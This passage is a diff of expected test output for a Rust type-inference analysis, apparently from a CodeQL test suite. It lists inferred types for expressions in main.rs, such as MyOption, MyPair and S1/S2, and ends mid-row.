main.rs:995:13:995:14 | x5 | T | main.rs:941:5:945:5 | MyOption | -| main.rs:995:13:995:14 | x5 | T.T | main.rs:976:5:977:13 | S | -| main.rs:995:18:995:58 | ...::MySome(...) | | main.rs:941:5:945:5 | MyOption | -| main.rs:995:18:995:58 | ...::MySome(...) | T | main.rs:941:5:945:5 | MyOption | -| main.rs:995:18:995:58 | ...::MySome(...) | T.T | main.rs:976:5:977:13 | S | -| main.rs:995:35:995:57 | ...::MyNone(...) | | main.rs:941:5:945:5 | MyOption | -| main.rs:995:35:995:57 | ...::MyNone(...) | T | main.rs:976:5:977:13 | S | -| main.rs:996:18:996:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:996:26:996:27 | x5 | | main.rs:941:5:945:5 | MyOption | -| main.rs:996:26:996:27 | x5 | T | main.rs:941:5:945:5 | MyOption | -| main.rs:996:26:996:27 | x5 | T.T | main.rs:976:5:977:13 | S | -| main.rs:996:26:996:37 | x5.flatten() | | main.rs:941:5:945:5 | MyOption | -| main.rs:996:26:996:37 | x5.flatten() | T | main.rs:976:5:977:13 | S | -| main.rs:998:13:998:14 | x6 | | main.rs:941:5:945:5 | MyOption | -| main.rs:998:13:998:14 | x6 | T | main.rs:941:5:945:5 | MyOption | -| main.rs:998:13:998:14 | x6 | T.T | main.rs:976:5:977:13 | S | -| main.rs:998:18:998:58 | ...::MySome(...) | | main.rs:941:5:945:5 | MyOption | -| main.rs:998:18:998:58 | ...::MySome(...) | T | main.rs:941:5:945:5 | MyOption | -| main.rs:998:18:998:58 | ...::MySome(...) | T.T | main.rs:976:5:977:13 | S | -| main.rs:998:35:998:57 | ...::MyNone(...) | | main.rs:941:5:945:5 | MyOption | -| main.rs:998:35:998:57 | ...::MyNone(...) | T | main.rs:976:5:977:13 | S | -| main.rs:999:18:999:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:999:26:999:61 | ...::flatten(...) | | main.rs:941:5:945:5 | MyOption | -| main.rs:999:26:999:61 | ...::flatten(...) | T | main.rs:976:5:977:13 | S | -| main.rs:999:59:999:60 | x6 | | main.rs:941:5:945:5 | MyOption | -| main.rs:999:59:999:60 | x6 | T | main.rs:941:5:945:5 | MyOption | -| main.rs:999:59:999:60 | x6 | T.T | main.rs:976:5:977:13 | S | -| main.rs:1001:13:1001:19 | from_if | | main.rs:941:5:945:5 | MyOption | -| main.rs:1001:13:1001:19 | from_if | T | main.rs:976:5:977:13 | S | -| main.rs:1001:23:1005:9 | if ... {...} else {...} | | main.rs:941:5:945:5 | MyOption | -| main.rs:1001:23:1005:9 | if ... {...} else {...} | T | main.rs:976:5:977:13 | S | -| main.rs:1001:26:1001:26 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1001:30:1001:30 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1001:34:1001:34 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1001:36:1003:9 | { ... } | | main.rs:941:5:945:5 | MyOption | -| main.rs:1001:36:1003:9 | { ... } | T | main.rs:976:5:977:13 | S | -| main.rs:1002:13:1002:30 | ...::MyNone(...) | | main.rs:941:5:945:5 | MyOption | -| main.rs:1002:13:1002:30 | ...::MyNone(...) | T | main.rs:976:5:977:13 | S | -| main.rs:1003:16:1005:9 | { ... } | | main.rs:941:5:945:5 | MyOption | -| main.rs:1003:16:1005:9 | { ... } | T | main.rs:976:5:977:13 | S | -| main.rs:1004:13:1004:31 | ...::MySome(...) | | main.rs:941:5:945:5 | MyOption | -| main.rs:1004:13:1004:31 | ...::MySome(...) | T | main.rs:976:5:977:13 | S | -| main.rs:1004:30:1004:30 | S | | main.rs:976:5:977:13 | S | -| main.rs:1006:18:1006:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1006:26:1006:32 | from_if | | main.rs:941:5:945:5 | MyOption | -| main.rs:1006:26:1006:32 | from_if | T | main.rs:976:5:977:13 | S | -| main.rs:1008:13:1008:22 | from_match | | main.rs:941:5:945:5 | MyOption | -| main.rs:1008:13:1008:22 | from_match | T | main.rs:976:5:977:13 | S | -| main.rs:1008:26:1011:9 | match ... { ... } | | main.rs:941:5:945:5 | MyOption | -| main.rs:1008:26:1011:9 | match ... { ... } | T | main.rs:976:5:977:13 | S | -| main.rs:1008:32:1008:32 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1008:36:1008:36 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1008:40:1008:40 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1009:13:1009:16 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1009:21:1009:38 | ...::MyNone(...) | | main.rs:941:5:945:5 | MyOption | -| main.rs:1009:21:1009:38 | ...::MyNone(...) | T | main.rs:976:5:977:13 | S | -| main.rs:1010:13:1010:17 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1010:22:1010:40 | ...::MySome(...) | | main.rs:941:5:945:5 | MyOption | -| main.rs:1010:22:1010:40 | ...::MySome(...) | T | main.rs:976:5:977:13 | S | -| main.rs:1010:39:1010:39 | S | | main.rs:976:5:977:13 | S | -| main.rs:1012:18:1012:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1012:26:1012:35 | from_match | | main.rs:941:5:945:5 | MyOption | -| main.rs:1012:26:1012:35 | from_match | T | main.rs:976:5:977:13 | S | -| main.rs:1014:13:1014:21 | from_loop | | main.rs:941:5:945:5 | MyOption | -| main.rs:1014:13:1014:21 | from_loop | T | main.rs:976:5:977:13 | S | -| main.rs:1014:25:1019:9 | loop { ... } | | main.rs:941:5:945:5 | MyOption | -| main.rs:1014:25:1019:9 | loop { ... } | T | main.rs:976:5:977:13 | S | -| main.rs:1015:16:1015:16 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1015:20:1015:20 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1015:24:1015:24 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1016:23:1016:40 | ...::MyNone(...) | | main.rs:941:5:945:5 | MyOption | -| main.rs:1016:23:1016:40 | ...::MyNone(...) | T | main.rs:976:5:977:13 | S | -| main.rs:1018:19:1018:37 | ...::MySome(...) | | main.rs:941:5:945:5 | MyOption | -| main.rs:1018:19:1018:37 | ...::MySome(...) | T | main.rs:976:5:977:13 | S | -| main.rs:1018:36:1018:36 | S | | main.rs:976:5:977:13 | S | -| main.rs:1020:18:1020:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1020:26:1020:34 | from_loop | | main.rs:941:5:945:5 | MyOption | -| main.rs:1020:26:1020:34 | from_loop | T | main.rs:976:5:977:13 | S | -| main.rs:1033:15:1033:18 | SelfParam | | main.rs:1026:5:1027:19 | S | -| main.rs:1033:15:1033:18 | SelfParam | T | main.rs:1032:10:1032:10 | T | -| main.rs:1033:26:1035:9 | { ... } | | main.rs:1032:10:1032:10 | T | -| main.rs:1034:13:1034:16 | self | | main.rs:1026:5:1027:19 | S | -| main.rs:1034:13:1034:16 | self | T | main.rs:1032:10:1032:10 | T | -| main.rs:1034:13:1034:18 | self.0 | | main.rs:1032:10:1032:10 | T | -| main.rs:1037:15:1037:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1037:15:1037:19 | SelfParam | &T | main.rs:1026:5:1027:19 | S | -| main.rs:1037:15:1037:19 | SelfParam | &T.T | main.rs:1032:10:1032:10 | T | -| main.rs:1037:28:1039:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1037:28:1039:9 | { ... } | &T | main.rs:1032:10:1032:10 | T | -| main.rs:1038:13:1038:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1038:13:1038:19 | &... | &T | main.rs:1032:10:1032:10 | T | -| main.rs:1038:14:1038:17 | self | | file://:0:0:0:0 | & | -| main.rs:1038:14:1038:17 | self | &T | main.rs:1026:5:1027:19 | S | -| main.rs:1038:14:1038:17 | self | &T.T | main.rs:1032:10:1032:10 | T | -| main.rs:1038:14:1038:19 | self.0 | | main.rs:1032:10:1032:10 | T | -| main.rs:1041:15:1041:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1041:15:1041:25 | SelfParam | &T | main.rs:1026:5:1027:19 | S | -| main.rs:1041:15:1041:25 | SelfParam | &T.T | main.rs:1032:10:1032:10 | T | -| main.rs:1041:34:1043:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1041:34:1043:9 | { ... } | &T | main.rs:1032:10:1032:10 | T | -| main.rs:1042:13:1042:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1042:13:1042:19 | &... | &T | main.rs:1032:10:1032:10 | T | -| main.rs:1042:14:1042:17 | self | | file://:0:0:0:0 | & | -| main.rs:1042:14:1042:17 | self | &T | main.rs:1026:5:1027:19 | S | -| main.rs:1042:14:1042:17 | self | &T.T | main.rs:1032:10:1032:10 | T | -| main.rs:1042:14:1042:19 | self.0 | | main.rs:1032:10:1032:10 | T | -| main.rs:1047:13:1047:14 | x1 | | main.rs:1026:5:1027:19 | S | -| main.rs:1047:13:1047:14 | x1 | T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1047:18:1047:22 | S(...) | | main.rs:1026:5:1027:19 | S | -| main.rs:1047:18:1047:22 | S(...) | T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1047:20:1047:21 | S2 | | main.rs:1029:5:1030:14 | S2 | -| main.rs:1048:18:1048:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1048:26:1048:27 | x1 | | main.rs:1026:5:1027:19 | S | -| main.rs:1048:26:1048:27 | x1 | T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1048:26:1048:32 | x1.m1() | | main.rs:1029:5:1030:14 | S2 | -| main.rs:1050:13:1050:14 | x2 | | main.rs:1026:5:1027:19 | S | -| main.rs:1050:13:1050:14 | x2 | T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1050:18:1050:22 | S(...) | | main.rs:1026:5:1027:19 | S | -| main.rs:1050:18:1050:22 | S(...) | T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1050:20:1050:21 | S2 | | main.rs:1029:5:1030:14 | S2 | -| main.rs:1052:18:1052:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1052:26:1052:27 | x2 | | main.rs:1026:5:1027:19 | S | -| main.rs:1052:26:1052:27 | x2 | T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1052:26:1052:32 | x2.m2() | | file://:0:0:0:0 | & | -| main.rs:1052:26:1052:32 | x2.m2() | &T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1053:18:1053:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1053:26:1053:27 | x2 | | main.rs:1026:5:1027:19 | S | -| main.rs:1053:26:1053:27 | x2 | T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1053:26:1053:32 | x2.m3() | | file://:0:0:0:0 | & | -| main.rs:1053:26:1053:32 | x2.m3() | &T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1055:13:1055:14 | x3 | | main.rs:1026:5:1027:19 | S | -| main.rs:1055:13:1055:14 | x3 | T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1055:18:1055:22 | S(...) | | main.rs:1026:5:1027:19 | S | -| main.rs:1055:18:1055:22 | S(...) | T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1055:20:1055:21 | S2 | | main.rs:1029:5:1030:14 | S2 | -| main.rs:1057:18:1057:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1057:26:1057:41 | ...::m2(...) | | file://:0:0:0:0 | & | -| main.rs:1057:26:1057:41 | ...::m2(...) | &T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1057:38:1057:40 | &x3 | | file://:0:0:0:0 | & | -| main.rs:1057:38:1057:40 | &x3 | &T | main.rs:1026:5:1027:19 | S | -| main.rs:1057:38:1057:40 | &x3 | &T.T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1057:39:1057:40 | x3 | | main.rs:1026:5:1027:19 | S | -| main.rs:1057:39:1057:40 | x3 | T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1058:18:1058:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1058:26:1058:41 | ...::m3(...) | | file://:0:0:0:0 | & | -| main.rs:1058:26:1058:41 | ...::m3(...) | &T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1058:38:1058:40 | &x3 | | file://:0:0:0:0 | & | -| main.rs:1058:38:1058:40 | &x3 | &T | main.rs:1026:5:1027:19 | S | -| main.rs:1058:38:1058:40 | &x3 | &T.T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1058:39:1058:40 | x3 | | main.rs:1026:5:1027:19 | S | -| main.rs:1058:39:1058:40 | x3 | T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1060:13:1060:14 | x4 | | file://:0:0:0:0 | & | -| main.rs:1060:13:1060:14 | x4 | &T | main.rs:1026:5:1027:19 | S | -| main.rs:1060:13:1060:14 | x4 | &T.T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1060:18:1060:23 | &... | | file://:0:0:0:0 | & | -| main.rs:1060:18:1060:23 | &... | &T | main.rs:1026:5:1027:19 | S | -| main.rs:1060:18:1060:23 | &... | &T.T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1060:19:1060:23 | S(...) | | main.rs:1026:5:1027:19 | S | -| main.rs:1060:19:1060:23 | S(...) | T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1060:21:1060:22 | S2 | | main.rs:1029:5:1030:14 | S2 | -| main.rs:1062:18:1062:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1062:26:1062:27 | x4 | | file://:0:0:0:0 | & | -| main.rs:1062:26:1062:27 | x4 | &T | main.rs:1026:5:1027:19 | S | -| main.rs:1062:26:1062:27 | x4 | &T.T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1062:26:1062:32 | x4.m2() | | file://:0:0:0:0 | & | -| main.rs:1062:26:1062:32 | x4.m2() | &T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1063:18:1063:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1063:26:1063:27 | x4 | | file://:0:0:0:0 | & | -| main.rs:1063:26:1063:27 | x4 | &T | main.rs:1026:5:1027:19 | S | -| main.rs:1063:26:1063:27 | x4 | &T.T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1063:26:1063:32 | x4.m3() | | file://:0:0:0:0 | & | -| main.rs:1063:26:1063:32 | x4.m3() | &T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1065:13:1065:14 | x5 | | file://:0:0:0:0 | & | -| main.rs:1065:13:1065:14 | x5 | &T | main.rs:1026:5:1027:19 | S | -| main.rs:1065:13:1065:14 | x5 | &T.T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1065:18:1065:23 | &... | | file://:0:0:0:0 | & | -| main.rs:1065:18:1065:23 | &... | &T | main.rs:1026:5:1027:19 | S | -| main.rs:1065:18:1065:23 | &... | &T.T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1065:19:1065:23 | S(...) | | main.rs:1026:5:1027:19 | S | -| main.rs:1065:19:1065:23 | S(...) | T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1065:21:1065:22 | S2 | | main.rs:1029:5:1030:14 | S2 | -| main.rs:1067:18:1067:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1067:26:1067:27 | x5 | | file://:0:0:0:0 | & | -| main.rs:1067:26:1067:27 | x5 | &T | main.rs:1026:5:1027:19 | S | -| main.rs:1067:26:1067:27 | x5 | &T.T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1067:26:1067:32 | x5.m1() | | main.rs:1029:5:1030:14 | S2 | -| main.rs:1068:18:1068:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1068:26:1068:27 | x5 | | file://:0:0:0:0 | & | -| main.rs:1068:26:1068:27 | x5 | &T | main.rs:1026:5:1027:19 | S | -| main.rs:1068:26:1068:27 | x5 | &T.T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1068:26:1068:29 | x5.0 | | main.rs:1029:5:1030:14 | S2 | -| main.rs:1070:13:1070:14 | x6 | | file://:0:0:0:0 | & | -| main.rs:1070:13:1070:14 | x6 | &T | main.rs:1026:5:1027:19 | S | -| main.rs:1070:13:1070:14 | x6 | &T.T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1070:18:1070:23 | &... | | file://:0:0:0:0 | & | -| main.rs:1070:18:1070:23 | &... | &T | main.rs:1026:5:1027:19 | S | -| main.rs:1070:18:1070:23 | &... | &T.T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1070:19:1070:23 | S(...) | | main.rs:1026:5:1027:19 | S | -| main.rs:1070:19:1070:23 | S(...) | T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1070:21:1070:22 | S2 | | main.rs:1029:5:1030:14 | S2 | -| main.rs:1072:18:1072:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1072:26:1072:30 | (...) | | main.rs:1026:5:1027:19 | S | -| main.rs:1072:26:1072:30 | (...) | T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1072:26:1072:35 | ... .m1() | | main.rs:1029:5:1030:14 | S2 | -| main.rs:1072:27:1072:29 | * ... | | main.rs:1026:5:1027:19 | S | -| main.rs:1072:27:1072:29 | * ... | T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1072:28:1072:29 | x6 | | file://:0:0:0:0 | & | -| main.rs:1072:28:1072:29 | x6 | &T | main.rs:1026:5:1027:19 | S | -| main.rs:1072:28:1072:29 | x6 | &T.T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1074:13:1074:14 | x7 | | main.rs:1026:5:1027:19 | S | -| main.rs:1074:13:1074:14 | x7 | T | file://:0:0:0:0 | & | -| main.rs:1074:13:1074:14 | x7 | T.&T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1074:18:1074:23 | S(...) | | main.rs:1026:5:1027:19 | S | -| main.rs:1074:18:1074:23 | S(...) | T | file://:0:0:0:0 | & | -| main.rs:1074:18:1074:23 | S(...) | T.&T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1074:20:1074:22 | &S2 | | file://:0:0:0:0 | & | -| main.rs:1074:20:1074:22 | &S2 | &T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1074:21:1074:22 | S2 | | main.rs:1029:5:1030:14 | S2 | -| main.rs:1077:13:1077:13 | t | | file://:0:0:0:0 | & | -| main.rs:1077:13:1077:13 | t | &T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1077:17:1077:18 | x7 | | main.rs:1026:5:1027:19 | S | -| main.rs:1077:17:1077:18 | x7 | T | file://:0:0:0:0 | & | -| main.rs:1077:17:1077:18 | x7 | T.&T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1077:17:1077:23 | x7.m1() | | file://:0:0:0:0 | & | -| main.rs:1077:17:1077:23 | x7.m1() | &T | main.rs:1029:5:1030:14 | S2 | +| main.rs:344:26:344:26 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:345:13:345:13 | y | | main.rs:181:5:182:14 | S1 | +| main.rs:345:17:345:17 | a | | main.rs:175:5:179:5 | MyPair | +| main.rs:345:17:345:17 | a | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:345:17:345:17 | a | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:345:17:345:23 | a.snd() | | main.rs:181:5:182:14 | S1 | +| main.rs:346:18:346:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:346:26:346:26 | y | | main.rs:181:5:182:14 | S1 | +| main.rs:352:13:352:13 | b | | main.rs:175:5:179:5 | MyPair | +| main.rs:352:13:352:13 | b | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:352:13:352:13 | b | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:352:17:352:41 | MyPair {...} | | main.rs:175:5:179:5 | MyPair | +| main.rs:352:17:352:41 | MyPair {...} | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:352:17:352:41 | MyPair {...} | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:352:30:352:31 | S2 | | main.rs:183:5:184:14 | S2 | +| main.rs:352:38:352:39 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:353:13:353:13 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:353:17:353:17 | b | | main.rs:175:5:179:5 | MyPair | +| main.rs:353:17:353:17 | b | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:353:17:353:17 | b | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:353:17:353:23 | b.fst() | | main.rs:181:5:182:14 | S1 | +| main.rs:354:18:354:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:354:26:354:26 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:355:13:355:13 | y | | main.rs:183:5:184:14 | S2 | +| main.rs:355:17:355:17 | b | | main.rs:175:5:179:5 | MyPair | +| main.rs:355:17:355:17 | b | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:355:17:355:17 | b | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:355:17:355:23 | b.snd() | | main.rs:183:5:184:14 | S2 | +| main.rs:356:18:356:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:356:26:356:26 | y | | main.rs:183:5:184:14 | S2 | +| main.rs:360:13:360:13 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:360:17:360:39 | call_trait_m1(...) | | main.rs:181:5:182:14 | S1 | +| main.rs:360:31:360:38 | thing_s1 | | main.rs:170:5:173:5 | MyThing | +| main.rs:360:31:360:38 | thing_s1 | A | main.rs:181:5:182:14 | S1 | +| main.rs:361:18:361:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:361:26:361:26 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:362:13:362:13 | y | | main.rs:170:5:173:5 | MyThing | +| main.rs:362:13:362:13 | y | A | main.rs:183:5:184:14 | S2 | +| main.rs:362:17:362:39 | call_trait_m1(...) | | main.rs:170:5:173:5 | MyThing | +| main.rs:362:17:362:39 | call_trait_m1(...) | A | main.rs:183:5:184:14 | S2 | +| main.rs:362:31:362:38 | thing_s2 | | main.rs:170:5:173:5 | MyThing | +| main.rs:362:31:362:38 | thing_s2 | A | main.rs:183:5:184:14 | S2 | +| main.rs:363:18:363:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:363:26:363:26 | y | | main.rs:170:5:173:5 | MyThing | +| main.rs:363:26:363:26 | y | A | main.rs:183:5:184:14 | S2 | +| main.rs:363:26:363:28 | y.a | | main.rs:183:5:184:14 | S2 | +| main.rs:366:13:366:13 | a | | main.rs:175:5:179:5 | MyPair | +| main.rs:366:13:366:13 | a | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:366:13:366:13 | a | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:366:17:366:41 | MyPair {...} | | main.rs:175:5:179:5 | MyPair | +| main.rs:366:17:366:41 | MyPair {...} | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:366:17:366:41 | MyPair {...} | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:366:30:366:31 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:366:38:366:39 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:367:13:367:13 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:367:17:367:26 | get_fst(...) | | main.rs:181:5:182:14 | S1 | +| main.rs:367:25:367:25 | a | | main.rs:175:5:179:5 | MyPair | +| main.rs:367:25:367:25 | a | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:367:25:367:25 | a | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:368:18:368:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:368:26:368:26 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:369:13:369:13 | y | | main.rs:181:5:182:14 | S1 | +| main.rs:369:17:369:26 | get_snd(...) | | main.rs:181:5:182:14 | S1 | +| main.rs:369:25:369:25 | a | | main.rs:175:5:179:5 | MyPair | +| main.rs:369:25:369:25 | a | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:369:25:369:25 | a | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:370:18:370:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:370:26:370:26 | y | | main.rs:181:5:182:14 | S1 | +| main.rs:373:13:373:13 | b | | main.rs:175:5:179:5 | MyPair | +| main.rs:373:13:373:13 | b | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:373:13:373:13 | b | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:373:17:373:41 | MyPair {...} | | main.rs:175:5:179:5 | MyPair | +| main.rs:373:17:373:41 | MyPair {...} | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:373:17:373:41 | MyPair {...} | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:373:30:373:31 | S2 | | main.rs:183:5:184:14 | S2 | +| main.rs:373:38:373:39 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:374:13:374:13 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:374:17:374:26 | get_fst(...) | | main.rs:181:5:182:14 | S1 | +| main.rs:374:25:374:25 | b | | main.rs:175:5:179:5 | MyPair | +| main.rs:374:25:374:25 | b | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:374:25:374:25 | b | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:375:18:375:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:375:26:375:26 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:376:13:376:13 | y | | main.rs:183:5:184:14 | S2 | +| main.rs:376:17:376:26 | get_snd(...) | | main.rs:183:5:184:14 | S2 | +| main.rs:376:25:376:25 | b | | main.rs:175:5:179:5 | MyPair | +| main.rs:376:25:376:25 | b | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:376:25:376:25 | b | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:377:18:377:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:377:26:377:26 | y | | main.rs:183:5:184:14 | S2 | +| main.rs:379:13:379:13 | c | | main.rs:175:5:179:5 | MyPair | +| main.rs:379:13:379:13 | c | P1 | main.rs:185:5:186:14 | S3 | +| main.rs:379:13:379:13 | c | P2 | main.rs:175:5:179:5 | MyPair | +| main.rs:379:13:379:13 | c | P2.P1 | main.rs:183:5:184:14 | S2 | +| main.rs:379:13:379:13 | c | P2.P2 | main.rs:181:5:182:14 | S1 | +| main.rs:379:17:382:9 | MyPair {...} | | main.rs:175:5:179:5 | MyPair | +| main.rs:379:17:382:9 | MyPair {...} | P1 | main.rs:185:5:186:14 | S3 | +| main.rs:379:17:382:9 | MyPair {...} | P2 | main.rs:175:5:179:5 | MyPair | +| main.rs:379:17:382:9 | MyPair {...} | P2.P1 | main.rs:183:5:184:14 | S2 | +| main.rs:379:17:382:9 | MyPair {...} | P2.P2 | main.rs:181:5:182:14 | S1 | +| main.rs:380:17:380:18 | S3 | | main.rs:185:5:186:14 | S3 | +| main.rs:381:17:381:41 | MyPair {...} | | main.rs:175:5:179:5 | MyPair | +| main.rs:381:17:381:41 | MyPair {...} | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:381:17:381:41 | MyPair {...} | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:381:30:381:31 | S2 | | main.rs:183:5:184:14 | S2 | +| main.rs:381:38:381:39 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:383:13:383:13 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:383:17:383:30 | get_snd_fst(...) | | main.rs:181:5:182:14 | S1 | +| main.rs:383:29:383:29 | c | | main.rs:175:5:179:5 | MyPair | +| main.rs:383:29:383:29 | c | P1 | main.rs:185:5:186:14 | S3 | +| main.rs:383:29:383:29 | c | P2 | main.rs:175:5:179:5 | MyPair | +| main.rs:383:29:383:29 | c | P2.P1 | main.rs:183:5:184:14 | S2 | +| main.rs:383:29:383:29 | c | P2.P2 | main.rs:181:5:182:14 | S1 | +| main.rs:385:13:385:17 | thing | | main.rs:170:5:173:5 | MyThing | +| main.rs:385:13:385:17 | thing | A | main.rs:181:5:182:14 | S1 | +| main.rs:385:21:385:37 | MyThing {...} | | main.rs:170:5:173:5 | MyThing | +| main.rs:385:21:385:37 | MyThing {...} | A | main.rs:181:5:182:14 | S1 | +| main.rs:385:34:385:35 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:386:17:386:21 | thing | | main.rs:170:5:173:5 | MyThing | +| main.rs:386:17:386:21 | thing | A | main.rs:181:5:182:14 | S1 | +| main.rs:387:13:387:13 | j | | main.rs:181:5:182:14 | S1 | +| main.rs:387:17:387:33 | convert_to(...) | | main.rs:181:5:182:14 | S1 | +| main.rs:387:28:387:32 | thing | | 